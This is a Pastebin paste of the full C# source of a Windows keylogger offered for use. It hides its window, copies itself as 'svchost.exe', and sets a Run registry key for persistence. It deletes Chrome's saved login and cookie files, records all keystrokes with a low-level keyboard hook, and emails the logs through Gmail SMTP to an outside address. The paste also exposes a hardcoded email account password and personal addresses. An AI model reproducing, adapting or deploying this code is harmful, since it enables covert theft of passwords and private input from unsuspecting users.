Advertisement
Guest User

Keylogger

a guest
Nov 22nd, 2015
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 23.54 KB | None | 0 0
  1. using System;
  2. using System.Runtime.InteropServices;
  3. using System.Windows.Forms;
  4. using System.Diagnostics;
  5. using Microsoft.Win32;
  6. using System.Threading;
  7. using System.Net;
  8. using System.Net.Mail;
  9. using System.Threading.Tasks;
  10. using System.IO;
  11. using System.Text;
  12.  
  13. namespace Keylogger
  14. {
  15.     class Program
  16.     {
  17.         #region Keycode
  18.         private const int WH_KEYBOARD_LL = 13;
  19.         private const int WM_KEYDOWN = 0x0100;
  20.         private const byte VK_RETURN = 0X0D;
  21.         private const byte VK_SPACE = 0X20;
  22.         private const byte VK_SHIFT = 0x10;
  23.         private const byte VK_CAPITAL = 0x14;
  24.         #endregion
  25.  
  26.         private static LowLevelKeyboardProc _proc = HookCallback;
  27.         private static IntPtr _hookID = IntPtr.Zero;
  28.         private static string filename =
  29.             Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\Logs\\" +
  30.             DateTime.Now.DayOfYear.ToString().PadLeft(3, '0') +
  31.             DateTime.Now.Hour.ToString().PadLeft(2, '0') +
  32.             DateTime.Now.Minute.ToString().PadLeft(2, '0') + ".log";
  33.         private static string me = System.Reflection.Assembly.GetEntryAssembly().Location;
  34.         private static string documentsfolder = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  35.  
  36.         static void Main(string[] args)
  37.         {
  38.             ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
  39.             StartUpCheck();
  40.             new Task(MailLoopTry).Start();
  41.             _hookID = SetHook(_proc);
  42.             Application.Run();
  43.             UnhookWindowsHookEx(_hookID);
  44.         }
  45.         private static void MailLoopTry()
  46.         {
  47.             bool x = false;
  48.             while (!x)
  49.             {
  50.                 if (Mail())
  51.                 {
  52.                     x = true;
  53.                     foreach (string file in Directory.GetFiles(documentsfolder + "\\Logs\\"))
  54.                     {
  55.                         FileInfo fi = new FileInfo(file);
  56.                         if (fi.Extension == ".log")
  57.                         {
  58.                             try{ File.Delete(file); } catch (Exception) { }
  59.                         }
  60.                     }
  61.                 }
  62.                 Thread.Sleep(15000);
  63.             }
  64.         }
  65.         private static bool Mail()
  66.         {
  67.             SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
  68.             client.EnableSsl = true;
  69.             client.DeliveryMethod = SmtpDeliveryMethod.Network;
  70.             client.Credentials = new NetworkCredential("hrinoaff8@gmail.com", "finalfantasyff8");
  71.             client.Timeout = 20000;
  72.  
  73.             MailMessage msg = new MailMessage(new MailAddress("hrinoaff8@gmail.com"), new MailAddress("shaamilahmed@gmail.com"));
  74.             msg.Subject = Environment.MachineName + " : " + Environment.UserName;
  75.             msg.Body = "";
  76.             foreach (string file in Directory.GetFiles(documentsfolder + "\\Logs\\"))
  77.             {
  78.                 FileInfo fi = new FileInfo(file);
  79.                 if (fi.Extension == ".log" & fi.FullName != filename)
  80.                 {
  81.                     msg.Attachments.Add(new Attachment(fi.FullName));
  82.                 }
  83.             }
  84.  
  85.             try
  86.             {
  87.                 client.Send(msg);
  88.                 msg.Dispose();
  89.                 return true;
  90.             }
  91.             catch (Exception) { msg.Dispose(); return false; }
  92.         }
  93.         static void StartUpCheck()
  94.         {
  95.             if (!Directory.Exists(documentsfolder + "\\Logs\\"))
  96.             { Directory.CreateDirectory(documentsfolder + "\\Logs\\"); }
  97.             if (new FileInfo(Application.ExecutablePath).Directory.FullName.ToString().ToLower() != documentsfolder.ToLower() + "\\Logs".ToLower())
  98.             {
  99.                 try
  100.                 {
  101.                     File.Copy(me, documentsfolder + "\\Logs\\svchost.exe", true);
  102.                     Process.Start(documentsfolder + "\\Logs\\svchost.exe");
  103.                 }
  104.                 catch (Exception) { }
  105.                 Environment.Exit(0);
  106.             }
  107.             SetStartup();
  108.             try
  109.             {
  110.                 File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data");
  111.                 File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\AppData\Local\Google\Chrome\User Data\Default\Cookies");
  112.             } catch (Exception) { }
  113.         }
  114.         private static void SetStartup()
  115.         {
  116.             RegistryKey rk = Registry.CurrentUser.OpenSubKey
  117.             ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
  118.             rk.SetValue("svchost", Application.ExecutablePath.ToString());
  119.         }
  120.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  121.         {
  122.             using (Process curProcess = Process.GetCurrentProcess())
  123.             using (ProcessModule curModule = curProcess.MainModule)
  124.             {
  125.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  126.                     GetModuleHandle(curModule.ModuleName), 0);
  127.             }
  128.         }
  129.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  130.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  131.         {
  132.             if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  133.             {
  134.                 bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
  135.                 bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
  136.                 int vkCode = Marshal.ReadInt32(lParam);
  137.                 StreamWriter sr = File.AppendText(filename);
  138.  
  139.                 if (vkCode == (int)Keys.RShiftKey | vkCode == (int)Keys.LShiftKey | vkCode == (int)Keys.RControlKey | vkCode == (int)Keys.LControlKey |
  140.                     vkCode == (int)Keys.Right | vkCode == (int)Keys.Left | vkCode == (int)Keys.Up | vkCode == (int)Keys.Down)
  141.                 { /* I am avoiding these keys */ }
  142.                 //                            Cause too much repetition of these can be a headache Plus they are pointless to log
  143.  
  144.                 else if (vkCode == (int)Keys.Return)
  145.                 {
  146.                     sr.Write("              ;{Enter Key} ");
  147.                     sr.WriteLine();
  148.                 }
  149.  
  150.                 else if ((isDownCapslock && isDownShift) || (!(isDownCapslock) && !(isDownShift)))
  151.                 {
  152.  
  153.                     if (isDownCapslock == true)
  154.                     {
  155.                         if (vkCode >= 0x41 && vkCode <= 0x5A)
  156.                         {
  157.                             try
  158.                             {
  159.                                 sr.Write(Convert.ToChar(vkCode + 32));
  160.                             }
  161.                             catch (Exception) { }
  162.                         }
  163.                         else
  164.                         {
  165.                             try
  166.                             {
  167.                                 #region LongSwitch
  168.                                 switch (vkCode)
  169.                                 {
  170.                                     case ((int)'À'):
  171.                                         sr.Write("~");
  172.                                         break;
  173.                                     case ((int)'½'):
  174.                                         sr.Write("_");
  175.                                         break;
  176.                                     case ((int)'»'):
  177.                                         sr.Write("+");
  178.                                         break;
  179.                                     case ((int)'Û'):
  180.                                         sr.Write("{");
  181.                                         break;
  182.                                     case ((int)'Ý'):
  183.                                         sr.Write("}");
  184.                                         break;
  185.                                     case ((int)'Ü'):
  186.                                         sr.Write("|");
  187.                                         break;
  188.                                     case ((int)'º'):
  189.                                         sr.Write(":");
  190.                                         break;
  191.                                     case ((int)'Þ'):
  192.                                         sr.Write("\"");
  193.                                         break;
  194.                                     case ((int)'¼'):
  195.                                         sr.Write("<");
  196.                                         break;
  197.                                     case ((int)'¾'):
  198.                                         sr.Write(">");
  199.                                         break;
  200.                                     case ((int)'¿'):
  201.                                         sr.Write("?");
  202.                                         break;
  203.                                     case ((int)'1'):
  204.                                         sr.Write("!");
  205.                                         break;
  206.                                     case ((int)'2'):
  207.                                         sr.Write("@");
  208.                                         break;
  209.                                     case ((int)'3'):
  210.                                         sr.Write("#");
  211.                                         break;
  212.                                     case ((int)'4'):
  213.                                         sr.Write("$");
  214.                                         break;
  215.                                     case ((int)'5'):
  216.                                         sr.Write("%");
  217.                                         break;
  218.                                     case ((int)'6'):
  219.                                         sr.Write("^");
  220.                                         break;
  221.                                     case ((int)'7'):
  222.                                         sr.Write("&");
  223.                                         break;
  224.                                     case ((int)'8'):
  225.                                         sr.Write("*");
  226.                                         break;
  227.                                     case ((int)'9'):
  228.                                         sr.Write("(");
  229.                                         break;
  230.                                     case ((int)'0'):
  231.                                         sr.Write(")");
  232.                                         break;
  233.                                     default:
  234.                                         sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  235.                                         break;
  236.                                 }
  237.                                 #endregion
  238.                             }
  239.                             catch (Exception) { }
  240.                         }
  241.                     }
  242.                     else if (vkCode >= 0x41 && vkCode <= 0x5A)
  243.                     {
  244.                         try
  245.                         {
  246.                             sr.Write(Convert.ToChar(vkCode + 32));
  247.                         }
  248.                         catch (Exception) { }
  249.                     }
  250.                     else if (vkCode == 0X20)
  251.                     {
  252.                         sr.Write(" ");
  253.                     }
  254.                     else
  255.                     {
  256.                         try
  257.                         {
  258.                             #region LongSwitch
  259.                             switch (vkCode)
  260.                             {
  261.                                 case ((int)'À'):
  262.                                     sr.Write("`");
  263.                                     break;
  264.                                 case ((int)'½'):
  265.                                     sr.Write("-");
  266.                                     break;
  267.                                 case ((int)'»'):
  268.                                     sr.Write("=");
  269.                                     break;
  270.                                 case ((int)'Û'):
  271.                                     sr.Write("[");
  272.                                     break;
  273.                                 case ((int)'Ý'):
  274.                                     sr.Write("]");
  275.                                     break;
  276.                                 case ((int)'Ü'):
  277.                                     sr.Write(@"\");
  278.                                     break;
  279.                                 case ((int)'º'):
  280.                                     sr.Write(";");
  281.                                     break;
  282.                                 case ((int)'Þ'):
  283.                                     sr.Write("'");
  284.                                     break;
  285.                                 case ((int)'¼'):
  286.                                     sr.Write(",");
  287.                                     break;
  288.                                 case ((int)'¾'):
  289.                                     sr.Write(".");
  290.                                     break;
  291.                                 case ((int)'¿'):
  292.                                     sr.Write("/");
  293.                                     break;
  294.                                 case ((int)'1'):
  295.                                     sr.Write("1");
  296.                                     break;
  297.                                 case ((int)'2'):
  298.                                     sr.Write("2");
  299.                                     break;
  300.                                 case ((int)'3'):
  301.                                     sr.Write("3");
  302.                                     break;
  303.                                 case ((int)'4'):
  304.                                     sr.Write("4");
  305.                                     break;
  306.                                 case ((int)'5'):
  307.                                     sr.Write("5");
  308.                                     break;
  309.                                 case ((int)'6'):
  310.                                     sr.Write("6");
  311.                                     break;
  312.                                 case ((int)'7'):
  313.                                     sr.Write("7");
  314.                                     break;
  315.                                 case ((int)'8'):
  316.                                     sr.Write("8");
  317.                                     break;
  318.                                 case ((int)'9'):
  319.                                     sr.Write("9");
  320.                                     break;
  321.                                 case ((int)'0'):
  322.                                     sr.Write("0");
  323.                                     break;
  324.                                 default:
  325.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  326.                                     break;
  327.                             }
  328.                             #endregion
  329.                         }
  330.                         catch (Exception) { }
  331.                     }
  332.                 }
  333.                 else
  334.                 {
  335.                     if (vkCode >= 0x41 && vkCode <= 0x5A)
  336.                     {
  337.                         try
  338.                         {
  339.                             sr.Write(Convert.ToChar(vkCode));
  340.                         }
  341.                         catch (Exception) { }
  342.                     }
  343.                     else if (isDownShift)
  344.                     {
  345.                         try
  346.                         {
  347.                             #region LongSwitch
  348.                             switch (vkCode)
  349.                             {
  350.                                 case ((int)'À'):
  351.                                     sr.Write("~");
  352.                                     break;
  353.                                 case ((int)'½'):
  354.                                     sr.Write("_");
  355.                                     break;
  356.                                 case ((int)'»'):
  357.                                     sr.Write("+");
  358.                                     break;
  359.                                 case ((int)'Û'):
  360.                                     sr.Write("{");
  361.                                     break;
  362.                                 case ((int)'Ý'):
  363.                                     sr.Write("}");
  364.                                     break;
  365.                                 case ((int)'Ü'):
  366.                                     sr.Write("|");
  367.                                     break;
  368.                                 case ((int)'º'):
  369.                                     sr.Write(":");
  370.                                     break;
  371.                                 case ((int)'Þ'):
  372.                                     sr.Write("\"");
  373.                                     break;
  374.                                 case ((int)'¼'):
  375.                                     sr.Write("<");
  376.                                     break;
  377.                                 case ((int)'¾'):
  378.                                     sr.Write(">");
  379.                                     break;
  380.                                 case ((int)'¿'):
  381.                                     sr.Write("?");
  382.                                     break;
  383.                                 case ((int)'1'):
  384.                                     sr.Write("!");
  385.                                     break;
  386.                                 case ((int)'2'):
  387.                                     sr.Write("@");
  388.                                     break;
  389.                                 case ((int)'3'):
  390.                                     sr.Write("#");
  391.                                     break;
  392.                                 case ((int)'4'):
  393.                                     sr.Write("$");
  394.                                     break;
  395.                                 case ((int)'5'):
  396.                                     sr.Write("%");
  397.                                     break;
  398.                                 case ((int)'6'):
  399.                                     sr.Write("^");
  400.                                     break;
  401.                                 case ((int)'7'):
  402.                                     sr.Write("&");
  403.                                     break;
  404.                                 case ((int)'8'):
  405.                                     sr.Write("*");
  406.                                     break;
  407.                                 case ((int)'9'):
  408.                                     sr.Write("(");
  409.                                     break;
  410.                                 case ((int)'0'):
  411.                                     sr.Write(")");
  412.                                     break;
  413.                                 default:
  414.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  415.                                     break;
  416.                             }
  417.                             #endregion
  418.                         }
  419.                         catch (Exception) { }
  420.                     }
  421.                     else
  422.                     {
  423.                         try
  424.                         {
  425.                             #region LongSwitch
  426.                             switch (vkCode)
  427.                             {
  428.                                 case ((int)'À'):
  429.                                     sr.Write("`");
  430.                                     break;
  431.                                 case ((int)'½'):
  432.                                     sr.Write("-");
  433.                                     break;
  434.                                 case ((int)'»'):
  435.                                     sr.Write("=");
  436.                                     break;
  437.                                 case ((int)'Û'):
  438.                                     sr.Write("[");
  439.                                     break;
  440.                                 case ((int)'Ý'):
  441.                                     sr.Write("]");
  442.                                     break;
  443.                                 case ((int)'Ü'):
  444.                                     sr.Write(@"\");
  445.                                     break;
  446.                                 case ((int)'º'):
  447.                                     sr.Write(";");
  448.                                     break;
  449.                                 case ((int)'Þ'):
  450.                                     sr.Write("'");
  451.                                     break;
  452.                                 case ((int)'¼'):
  453.                                     sr.Write(",");
  454.                                     break;
  455.                                 case ((int)'¾'):
  456.                                     sr.Write(".");
  457.                                     break;
  458.                                 case ((int)'¿'):
  459.                                     sr.Write("/");
  460.                                     break;
  461.                                 case ((int)'1'):
  462.                                     sr.Write("1");
  463.                                     break;
  464.                                 case ((int)'2'):
  465.                                     sr.Write("2");
  466.                                     break;
  467.                                 case ((int)'3'):
  468.                                     sr.Write("3");
  469.                                     break;
  470.                                 case ((int)'4'):
  471.                                     sr.Write("4");
  472.                                     break;
  473.                                 case ((int)'5'):
  474.                                     sr.Write("5");
  475.                                     break;
  476.                                 case ((int)'6'):
  477.                                     sr.Write("6");
  478.                                     break;
  479.                                 case ((int)'7'):
  480.                                     sr.Write("7");
  481.                                     break;
  482.                                 case ((int)'8'):
  483.                                     sr.Write("8");
  484.                                     break;
  485.                                 case ((int)'9'):
  486.                                     sr.Write("9");
  487.                                     break;
  488.                                 case ((int)'0'):
  489.                                     sr.Write("0");
  490.                                     break;
  491.                                 default:
  492.                                     sr.Write(new StringBuilder(" {" + (Keys)vkCode + "} ").ToString());
  493.                                     break;
  494.                             }
  495.                             #endregion} catch (Exception) { }
  496.                         }
  497.                         catch (Exception) { }
  498.                     }
  499.                 }
  500.                 sr.Close();
  501.             }
  502.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  503.         }
  504.  
  505.         #region DllImports
  506.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  507.         private static extern IntPtr SetWindowsHookEx(int idHook,
  508.             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  509.  
  510.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  511.         [return: MarshalAs(UnmanagedType.Bool)]
  512.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  513.  
  514.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  515.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  516.             IntPtr wParam, IntPtr lParam);
  517.  
  518.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  519.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  520.  
  521.         [DllImport("user32.dll")]
  522.         public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
  523.  
  524.         [DllImport("user32.dll")]
  525.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  526.  
  527.         [DllImport("user32.dll")]
  528.         static extern short GetKeyState(int vKey);
  529.         #endregion
  530.     }
  531. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement